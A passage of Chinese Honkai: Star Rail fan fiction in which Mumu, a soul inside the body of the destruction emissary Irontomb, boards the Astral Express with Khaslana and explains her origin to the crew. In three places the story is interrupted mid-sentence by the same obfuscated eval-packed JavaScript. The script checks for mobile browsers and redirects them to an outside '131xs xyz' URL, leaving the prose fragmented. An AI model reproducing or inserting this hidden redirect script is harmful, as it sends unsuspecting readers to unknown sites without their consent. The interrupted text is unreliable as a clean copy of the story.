但事实上算数的,纳努克投来瞥视便是最有力的证明,冥冥之中牧暮能隐约察觉到自己在「毁灭」的命途上走得更远了些,除此之外还有更加直观的证明,随着纳努克的注视,不同于身体中无声无息只一味让牧暮所有想法变为现实的原有能量,突然涌入的外来力量顺着血液奔腾,沿着神经游走,几乎要撑破皮肤溢出却又被牢牢地束缚在这具身体中,将她整个人撑得像是一个被吹到爆炸边缘的气球。 有一说一,同样是灌注命途之力,身为「毁灭」的纳努克竟然比「欢愉」星神啊哈更会把握分寸,将将停在把牧暮撑爆的边缘后功成身退。 哦,不对,是把疼到飙泪的牧暮从命途狭间踢出去。 离开命途狭间,牧暮怀里的卡厄斯兰那又回来了,他似乎没察觉到怀中人的意识出了趟远门,用纳努克同款带着期待的金眸看着她,一时间竟然让人想支持纳努克白厄同源假说。 令牧暮感到遗憾的是她暂时回应不了卡厄斯兰那的期待,都怪纳努克打岔的不是时候,瞬间的灵感已然流逝,错失了抓住来古士尾巴将他从预留的保命之处揪出来的机会,肉眼可见的不甘心,以至于话都是咬着牙说的:“啧,没抓住。” 卡厄斯兰那却暂时放下来古士的事,因为他感受到牧暮的力量等级骤然激增,从探不出深浅的深潭变成量不出容积的湖泊,这无疑是危险的信号,于是他本来就没放下过的戒心拉得更满。 不开玩笑,来古士是翁法洛斯的敌人,难道铁墓就不是了? 偏偏牧暮一点没多掩饰,无论是获得新的力量还是不适的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057740|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态,她没有多余的精力,现在浑身没有一处是不疼的,疼得她呲牙咧嘴恨不得在卡厄斯兰那广阔的胸膛上打滚。 哦,她真的这么干了。 而且止痛效果一流(竖大拇指) 有便宜不占王八蛋。 卡厄斯兰那敢怒不敢言,好吧,不敢言的时长只维持了短短两秒半,似乎是知道了牧暮除了亲密举动外不会真拿他怎么样,神情严肃而认真的直接问道:“刚刚你身上是发生了什么事吗?” 牧暮在卡厄斯兰那胸前蹭蹭:“刚刚我说的话你还记得吧?就是那个“毁灭命途就该毁灭毁灭星神”的发言,引来了纳努克的瞥视,顺便祂还给我塞了亿点点力量。” “祂居然又来了吗。”但没见到星神本身卡厄斯兰那没法喊打喊杀,只能继续盯着牧暮,“确定只是一点点力量?” “嘿嘿~”牧暮捏起拇指食指比出一个棒国人震怒的手势,“可能是指间宇宙那种亿点点啦。” “还是来说一下来古士……” “抱歉在这种气氛下打扰二位。” 一道沉稳有礼的男声从两人身后传来,卡厄斯兰那带着怀中的牧暮回身,手持拐杖的棕色系成年男性看清他们的动作后镜片闪过一片白光,他习惯性扶了扶眼镜,语气温和的进行自我介绍:“我是星穹列车的乘客□□·杨,也许我的同伴丹恒和穹曾对你们提起过?” 话未落音,杨叔就看到有着相似的面容的两个人同时眼前一亮,看反应有很大可能确实认识丹恒和穹并且听说过星穹列车。那个姑娘甚至想往他的方向冲过来,但是被男人握住腰往回拽只扑腾了一下,不过她使的劲应该不小,带的两个人都往他这边靠近了一大截。 牧暮抬头瞅了眼卡厄斯兰那,本以为只能看到他锋利的下颌线,没想到他也正低头看过来,两人就这么水灵灵对视上了。 牧暮用眼神示意:你拦着我干嘛? 卡厄斯兰那微微眯眼:你休想脱离我的掌控。 “咳咳!”杨叔超级大声超级刻意的清嗓子吸引两人的注意,“想来二位的确来自翁法洛斯,不知道能否告知我们一些关于丹恒和穹的消息,他们两人失联很久了,大家都很担心。” “丹恒……呃……穹他现在……”卡厄斯兰那神情柔和了许多,却欲言又止,丹恒没有和穹一起来创世涡心具体怎么样他不知道,而他更不知道该怎么跟人大家长说自己救世不成把重担扔给他们家孩子的事,话风一转决定把麻烦事扔给牧暮,“我不善言辞,你们不如问一下她。” 牧暮闻言又看了他一眼,本来想吐槽卡厄斯兰那靠着延毕拿了好多届辩论比赛冠军居然好意思说自己不善言辞,但转念一想盗火行者到后期说话连不成句,他融合了那么多记忆现在语言模块刚修复好没一会儿…… 行吧,原谅他张口就来的甩锅了。 但槽还是要吐的。 “丹恒也不善言辞,哥们你俩撞设定了知道吗。” “……”卡厄斯兰那错开了视线。 “好吧好吧,我来说就是了。”牧暮朝杨叔露出一个比格浣熊准备动手拆家之前装样子的乖巧笑容,“杨叔你尽可以放一半的心,穹宝现在肯定是安全的,至于丹恒嘛……” 7.被剧情虐晕第七天 卡厄斯兰那表示他想说的足足有六个点,并手动把试图卖关子逗弄N旬老人的牧暮的脑袋当作木鱼重重敲了几下。 不疼,但是会很没面子。 “干嘛又敲我头。打架干不过我另辟蹊径是吧?”牧暮瞪他,威慑力度四舍五入约等于零,好在说的话十分扎心。 “欺负我没够,还要吓唬别人?”卡厄斯兰那毫不示弱的瞪回去。 眼见着两人又要开始“甜蜜”对视眼神拉丝,杨叔赶忙吐掉嘴里不知怎么被塞进来的狗粮,插入他们的对话,满眼都是对两个小年轻不分场合秀恩爱的无奈:“二位,能不能先告诉我丹恒他现在如何?” 其实并没有和卡厄斯兰那确定关系,亲密全凭武力威胁的牧暮不自在的轻咳一声:“丹恒的情况有点复杂,好不好不知道,但至少没有生命危险,让我想想该从哪里说起呢……” 说着她自以为隐晦的观察了下杨叔的表情,想确认他目前情绪稳定后再继续说。 杨叔又扶了扶他会反光的平光镜,语气中满是可靠成年人的温和沉稳:“既然说来话长,不如请二位移步到列车再叙如何?” “好耶!可以见到列车组的大家了!”牧暮眼睛一亮一亮又一亮,但凡是个开拓者,没谁能抵挡得住亲自登上星穹列车的诱惑。 此时此地此刻,就连冷笑话机器人闭嘴酱都显得无比可爱。对了,现在的身体都刀枪不入耐杀得很了,体验一下椒丘强力推荐的麻辣火锅口味入浴剂应该能安全活下来吧? 卡厄斯兰那摁住疑似多动症患者牧暮,对着杨叔点点头:“麻烦了。” “不麻烦,请二位随我来,列车停泊的地方离这里不远。” 这要是让牧暮自己飞,以她现在激动的心情和完全不熟练的飞行技术,恐怕会晃晃悠悠的打圈。 好在有靠谱的卡厄斯兰那带着,于是无处发泄的激动情绪就变成了小嘴叭叭个不停。 “刚从翁法洛斯里出来的时候有看到列车,那么长一条还挺显眼的,要不是急着弄死来古士,我早就登门拜访了!想看活的姬子姐帕姆还有周天哥……杨叔你回来了的话,周天哥应该也跟着回来了对吧?对了,老鹅还在车上吗?” “大家都在,很快就能见到了。”杨叔的镜片闪了又闪,人生经历过于丰富的他不难听出牧暮语气中的熟稔亲近信任等一系列正向情感,但问题在于留守列车的大家根本没机会认识出身于翁法洛斯的这位姑娘。 总不至于引狼入室…… 三人各怀心事,赶路的速度却一点不慢,或多或多都有些本事在身上,紧跟杨叔很快便来到列车门前,牧暮夸张中不失真诚的“哇”了超大一声,迫不及待的就想上车。 对待潜在敌人掌控欲超强的卡厄斯兰那再次一抬手拽住牧暮的……卫衣兜帽。 哪来的卫衣? “你是什么时候换的衣服?”卡厄斯兰那惊愕于自己的毫无察觉。 “刚换完你就低头发现了。”牧暮自诩说的都是大实话所以没有半点心虚,“要我说你也该换一下,穿不穿衣服还是其次,主要是身后的翅膀面积大太占地方,不收起来恐怕连列车的门都进不去,要是不幸卡在门上……” 卡厄斯兰那的翅膀根部抽搐了一下,虽然他本人不在意,但身体似乎还记得被砍断时的痛觉。 “那我一定会录下来发给穹宝万敌猫猫那刻夏老师狠狠嘲笑你哈哈哈哈哈哈。” “……你已经在嘲笑了,你根本就没停过。” 卡厄斯兰那手中金色侵晨具现,吓得列车组纷纷跟着掏出武器做好迎战准备,帕姆缩了缩并不存在的脖子,大声却避免不了音中带着颤的喊:“这,这位乘客,列车上不允许打架斗殴……” 正拿着侵晨对着自己翅膀比划的卡厄斯兰那愣了下,发现卡厄斯兰那正对着自己翅根比划而列车组正对着他俩比划的的牧暮也愣了下。 “等等!Wait!停一下!” 牧暮一手按在卡厄斯兰那的胸口,另一手掌心朝向列车组众人,那姿势要不是离其中一方太近简直就是复刻侏罗纪公园。 “你先把剑收了,早知道你不行我就帮你了。”牧暮对卡厄斯兰那说。 “不好意思啊吓着你们了,我也是才知道小白的翅膀他自己收不起来,刚刚拔剑大概率是打算砍断翅膀,不是想对大家动手。”牧暮又对列车组众人解释。 殊不知真正吓到列车组的是卡厄斯兰那一言不合就要砍自己的疯与狠。 见双方暂时没有一下步的动作,牧暮尝试对卡厄斯兰那使用自己所想即所得的能力,如同她自己换装那般悄无声息,仅在一息之间,卡厄斯兰那整个人改头换面一般,金发金眸变成了白发蓝眸,富裕而慷慨的半身盔甲也变成了将全身包裹得严严实实的蓝白点缀着少许黑色和金色的服饰。 大家忍不住扭头看星期日一眼。 确认了,这哥俩多少有点撞衫。 只有杨叔呼吸一滞。 机会难得,牧暮想撤开点距离,好好欣赏一下白厄版本的盛世美颜,被卡厄斯兰那又一把扯了回去,脑袋好死不死磕在他肩甲上发出好大一声响。 还是那句话,不疼,但是挺丢人。 牧暮恨得牙痒痒,磨了磨牙再次动用自己的权能,将卡厄斯兰那的衣服换成了柔软单薄的衬衫西裤,没有扣子的衬衫领口大敞,深V一路向下深进高腰西裤的裤腰。 (杂志封面那身) 卡厄斯兰那手指勾住颈肩的皮带调整一下位置,免得压着喉结。 牧暮眼都看直了,这下哪里还有什么恨得牙痒痒,现在是被勾的心里痒。 见警报解除,急着得到丹恒下落的杨叔再次做起不讨喜的工作,将两人请进车厢,脚踏实地的情况下再抱着人走不太现实,卡厄斯兰那略微犹豫后松开牧暮的腰,转而握住了她的手腕。 牧暮挣了两下没挣开,明了卡厄斯兰那不会放任她自由行动后,用空着的那只手搭在他比自己大了好几个码的手掌心,硬凹出一个十指相扣,随后满意的换取到另一只手的自主权。 而这两人的分开,勉强算是分开了吧,才让列车组众人发现牧暮的装束不太对劲,黑粽主色调明黄里子的风衣、领口宽松的白色翻领T恤以及黑色的包臀短裙,褪去了黑红盔甲包裹的白皙大腿上还有根亮蓝色看不出任何功能性的腿环。 莫名的让人产生既视感。 明明除了配色外有很多不同,但就是让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114878|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人感觉这是性转版的穹会穿的装束。 位列一群人精之中被凹显的加倍单纯的列车长和星期日同时惊道:“穹乘客竟然变成女孩子了帕?/穹阁下怎么……” 如果只有一个人认错还能说是巧合,但所有人都认错就多少有点不对劲了,大家的目光对半开,一半落在列车长帕姆身上,另一半落在看起来有点呆呆的星期日身上。 帕姆抬起圆圆的肉爪指向牧暮风衣领口处闪闪发光的金色车票:“她有穹乘客的乘员专票,但又好像不是穹乘客的,她的比较新。” 星期日点点头:“是这样的,这位的灵魂与穹阁下惊人的一致,又在微妙的地方存在不同,却并非不协和音,硬要说的话,就像是将与穹阁下极其相似的灵魂塞进了一具刚出生的婴儿身体一般。” 某种意义上来说,星期日的比喻已经无限接近真相了。 “老日牛逼!”牧暮给星期日竖了个大拇哥,“我和穹宝的关系不太好解释,但是他经历过的我也经历过,把我们当成一个人……嗯,这个还是算了,我都站在这儿了,我和穹宝现在都是独立的个体,还是各论各的吧。” 姬子把一杯咖啡放在牧暮面前笑吟吟道:“你身上充斥着毁灭的力量,难道你是穹体内的那颗星核?” 牧暮拿着咖啡杯柄的手微微颤抖,一副向往想喝又害怕不敢喝的纠结模样:“虽然不知道我现在算是什么物种,但绝对不是星核,实在不行你们就当我是平行世界的穹宝性转同位体吧。” 卡厄斯兰那瞳孔地震,他想起刚见到牧暮时她自称开拓者的事,难不成那真的是真的? 空白大脑飞速运转的同时,喝了口姬子给的咖啡。 “诶别——”杨叔没来得及阻止。 牧暮趁机放下手中的咖啡杯,紧张的观察自愿参与实验的小白鼠同志。 “有……有毒……”英勇献身的小白鼠同志掐住了自己的脖子,活像是隔壁柯南片场被投毒的受害人一样,发出“赫-赫-”的痛苦气音。 一左一右坐在卡厄斯兰那两边的牧暮和星期日都起身试图帮忙。 从来都是在喉咙开个小黑洞装咖啡的杨叔无奈扶额:“我们没有下毒害你们的意思,只是姬子研究出来的咖啡比较……比较特别,我该事先提醒你们注意的。” 拜托帕姆去取清水和药物给卡厄斯兰那洗胃的姬子竟然是最惊讶的那个,在此之前她从没意识到自己的咖啡拥有这种程度的杀伤力,看着手忙脚乱甚至添乱的众人感叹:“看来列车上很有必要增添一位医者。” 牧暮不知道姬子在想什么,她只觉得卡厄斯兰那太惨了,而且这可是她好不容易才拼回来的新墙头,哪里忍心看他一直难受,直接一键还原了仿佛被硫酸烧过的口腔咽喉和食道。 这下轮到牧暮被行注目礼了。 “咳,突然想起我们互相还没介绍过名字。”牧暮试图转移话题,“坐在我旁边的这位大帅哥花名白厄,真名卡厄斯兰那,是前不久刚刚退休的翁法洛斯前任救世主大人。” 转移得很成功,由于要素太全,杨叔快要不能呼吸了。 卡厄斯兰那摸着还在幻痛的喉咙冷笑:“绝灭大君铁墓怎么不先介绍你自己?是不敢吗?” 8.被剧情虐晕第八天 星穹列车作为寰宇间消息最灵通的势力之一,不可能孤陋寡闻到没听说过铁墓的赫赫凶名。 身为培育者的来古士自身实力不济,绝大部分技能点都点在头脑上,因此将狐假虎威那一套耍得淋漓尽致。 正如他对着试图骇入翁法洛斯的大黑塔和螺丝咕姆扬言惹他不高兴就是惹新绝灭大君铁墓不高兴,铁墓是毁灭星神纳努克偏爱对象亦是毁灭令使小团体里的团宠,惹铁墓不高兴就会让其他的毁灭令使以及毁灭星神纳努克不高兴,惹得毁灭命途的疯子不高兴整个银河寰宇都要生灵涂炭血流成河…… 听起来多荒谬啊。 更荒谬的是许多人当真了。 寰宇中那么多生灵,足够傻的那些实力太弱,而实力足够又疯到敢于招惹令使级别绝灭大君的,估计也就只有啊哈本尊和祂面具底下那帮乐子人。 但无趣的机器头“弃养”的算法数列能有什么乐子?甚至不如来古士那个小丑编出来的滑坡言论惹人发笑。 就这样,通过来古士不怕苦不怕累且做坏事必留名、高调到生怕苦主找不上门的丑恶作风,铁墓尚未出生便风评被害down到谷底。 促成这一切的来古士自觉功劳苦劳全占,心心念念的等着享用胜利果实,但劳苦功高的肱股之臣一般没有好下场,更何况来古士远没有他自以为的那样重要,顶多能算是个太子爷的乳母,这不新铁墓刚诞生都还没登基呢,就先带着和来古士有亿点私人恩怨的未来皇后卡厄斯兰那当了回破壁机。 那可真是粉粉又碎碎啊。 可惜外界不曾听闻来古士大名,只知道「铁墓」是个超高危级别的祸害。 卡厄斯兰那选择在此时曝出牧暮的身份毫无疑问是精挑细选的故意为之,他是进行过极其慎重的思考才决定要这样做的—— 首先,他硬实力确实不如铁墓,连偷袭都很难得手。 虽然很悲伤,但不得不承认这是事实。 其次,他至今也弄不明白铁墓为什么会任由他拉来拽去。 这意味着一旦理由不存在时,仅凭他一人将没有任何手段可以限制住铁墓的行动。 再次,他相信能够培养出穹和丹恒那般正直、善良、极富有责任心的开拓者,星穹列车上的成年人一定不会是坏人。 而好人意味着可以进行道德绑架(划掉),意味着不会袖手旁观一整颗星球千万万万生灵的陨落,有他们出手或许能成为一道至关重要的防线。 显然卡厄斯兰那有些天真和想当然,最致命的是他不够了解列车组没下车的这几位。 如果说道德绑架能成功的对象,整个列车上除了被绑架到也没什么意义的帕姆列车长外,也就只有单纯善良但被冻住冰雪奇缘版睡美人的三月七了。 抽象流派的穹主打一个“我的道德都被绑架走了所以我没有道德无法被道德绑架了不是很正常的吗?” 至于杨叔姬子他们是真正历尽千帆后的成熟沉稳,虽然活的时长远不及翁法洛斯原住民白厄同学动辄千年甚至千年×三千万次,但他们的人生阅历却远超这位延毕次数比他体内火种数量还多的乡下青年,绝不会轻信一面之词立刻开始敌视才一位刚刚认识的陌生人,他们更愿意通过亲眼去观察亲身去相处再作出判断。 更何况这单方面指控来源于另一位刚刚认识的陌生人。 列车组的几人有惊讶,但没有流露出任何敌意,不动声色的等待下文,而牧暮不着急回应卡厄斯兰那的指控,她单手托腮,另一只手端起姬子的咖啡小心翼翼的用舌尖舔了一下,感受着舌尖上被二踢脚嘣了的疼痛感倒吸一口凉气。 也就这一口气的时间,舌尖受到的全部损伤在发烫发痒中迅速愈合,仿佛刚刚感受到的痛觉只是幻觉。 “我不知道这具身体是不是那个所谓的绝灭大君「铁墓」,但几乎等同于心想事成的能力,纳努克的青睐,以及能容纳星神给予大量毁灭能的身体强度,我倾向于是的。” 牧暮放下能伤害到侵晨无法破防的身体的地狱咖啡,像是给老中医看舌苔那样伸出舌头,好让大家看清那非人的恢复速度,随后继续诚恳地向大家诉说自己的看法。 “但这具身体不等同于我,我不是「铁墓」,我有自己的名字——牧暮,我曾拥有另一段截然不同的人生,并因此培养出了完善的人格和稳定的三观。可能正如周天哥猜测的那样,是不知名的存在将我这个天外来客的灵魂强行塞进了「铁墓」的身体,不过对我而言幸运的是这身体只是一具空壳,尚未诞生出拥有自主意识的灵魂。” 说着,牧暮摸着下巴若有所思,口中的喃喃自语在安静的环境中清晰地飘进所有人耳中。 “所以这就是来古士设置黑潮进行深度学习,执着于突破奇点完成进化的原因?「铁墓」这个源代码破坏力再怎样强大,没有自主意识不过是一串算法数列、一件方便好用的工具,永远不可能晋升成令使级别的存在,更别提向智识发起复仇了。” 来古士自己做不到,没那条件。 于是他成了个拼命鸡娃的家长。 卡厄斯兰那深深地凝视着牧暮,生怕漏下她哪怕一丝可疑反应:“如果你所言非虚,那我问你,如果你不是「铁墓」,为何你仍走在「毁灭」的命途之上,又为何能轻而易举的获得纳努克的瞥视和慷慨的赠予?” 听到卡厄斯兰那的所有质问都在射程范围内,牧暮安心下来冲他飞了个白眼:“并不是所有毁灭命途行者都是坏蛋,没见过多命途行者总该见过我家穹宝吧?穹宝最先踏上的命途也是毁灭,他天天扛着球棒敲这个揍那个,你还不是一样当他是救世主。至于纳努克的瞥视……” 牧暮适时流露出为难的神色。 卡厄斯兰那心头一紧,明明成功抓到了疑点却高兴不起来,嘴角往下撇的相当明显,闷声闷气的逼问:“怎么,编不出来了?” “纳努克先看的人明明是你,祂刚看完你一眼还没走,我又正好在那时发表了那种儿戏的暴论才会被注意到吧。不信你可以问姬子姐和帕姆列车长,列车在短时间内监测到几次星神量级的虚数毁灭能波动。” 卡厄斯兰那的视线终于暂时放过牧暮,转移到了姿态优雅吃瓜看戏的姬子。 姬子点点头,面带微笑的慢慢说:“两次哦,而且相隔时间极短,让我一度以为是列车上的监测设备出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131761|177910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,原来是毁灭星神先后瞥视了你们二人?真是后生可畏呢。” 当初穹为救下三月七硬接末日兽的濒死大招激活了星核才被毁灭星神瞥视一眼,但星核这东西不是什么地方都有,更不是能随身携带到处跑的,对于召唤出纳努克本尊没有参考意义。 人老心不老的杨叔没按捺住澎湃的好奇心,向一直以来有啥说啥的牧暮打听:“能说说你们都做了什么吗?” 牧暮故意看向卡厄斯兰那,冲着他挑了挑眉,像是在询问能不能说。 卡厄斯兰那磨了下牙:“你倒是说说看,我也想知道是怎么一回事。” “好吧好吧,关于纳努克不知你们有没有听说过……” 牧暮突然清了清嗓子,刻意压低了声线,企图用气泡音营造出一些神秘氛围:“宇宙的中心有一团火,祂愈烧愈旺,直至燃尽整片星河,只为在一切现实的终点,迎来壮美的毁灭。①” 卡厄斯兰那露出头疼的表情,与牧暮牵着的手攥得更用力了些:“你正常点,这样说话声音甚至进不了我的脑子。” 她摇摇头,双手交叠搭在下巴下面,摆出一个碇司令的经典姿势后,眼神幽怨的叹了口气:“真是不懂欣赏,好吧我说正经的,你就不觉得这段针对纳努克的描述与你的情况高度一致吗?” “……” “翁法洛斯是不是宇宙的中心我不知道,毕竟这个宇宙实在太浩瀚了,终其一生也未必能开拓到其边界,但在某些语言中‘翁法洛斯’确实有世界中心的意思。而你,卡厄斯兰那,你是那团燃烧的火。” 杨叔露出痛苦面具:“恕我冒昧打断一下,但拜托了,别说出那个名字。” 秒懂的牧暮扬起一抹歪嘴坏笑:“别说什么?卡厄斯兰那吗?” “哦不!”杨叔胃痛加倍,“你是故意的还是不小心?” “是故意不小心哒~”牧暮笑嘻嘻的竖起大拇指,“我为了原汁原味还特地保留了‘厄不发音’呢!” 卡厄斯兰那不解其意,配上他现在白厄的外表直接拉满了茫然懵懂感,彻底击沉了杨叔的心理防线。 “遇到同位体这种事杨叔你不早就该习惯了嘛,奥托那厮都能……凯文老祖好歹也是米家知名男演员,刷出一只两只三四只来都很正常的啦。” 这番打破次元壁的话倒是让杨叔第一个彻底相信了牧暮来自天外的身份,他无奈的笑着用两根手指弯曲落在桌面上,代替本人进行了一个跪地求饶的大动作:“算我怕了你了,小暮同学,还是先继续之前的话题吧,白厄是因为与毁灭相似才引来了祂的瞥视吗?” 听到那个骤然拉近关系显得亲昵的称呼,很熟悉杨叔性格的姬子诧异的看了他一眼,换来对方轻轻地点头示意。 而牧暮迫害完杨叔后心情很好的继续说道:“那倒不是。卡……小白他积攒了三千多万个轮回的怒火想要跟纳努克爆了,这种「想要为毁灭带来毁灭」的愤怒才是引来纳努克的真正原因。至于我嘛,我只是贯彻了一下小白的理念,对着尚未离开的纳努克贴脸宣传了一下「不想毁灭毁灭的毁灭令使不配走毁灭命途」罢了。” “怎么样,很简单吧?”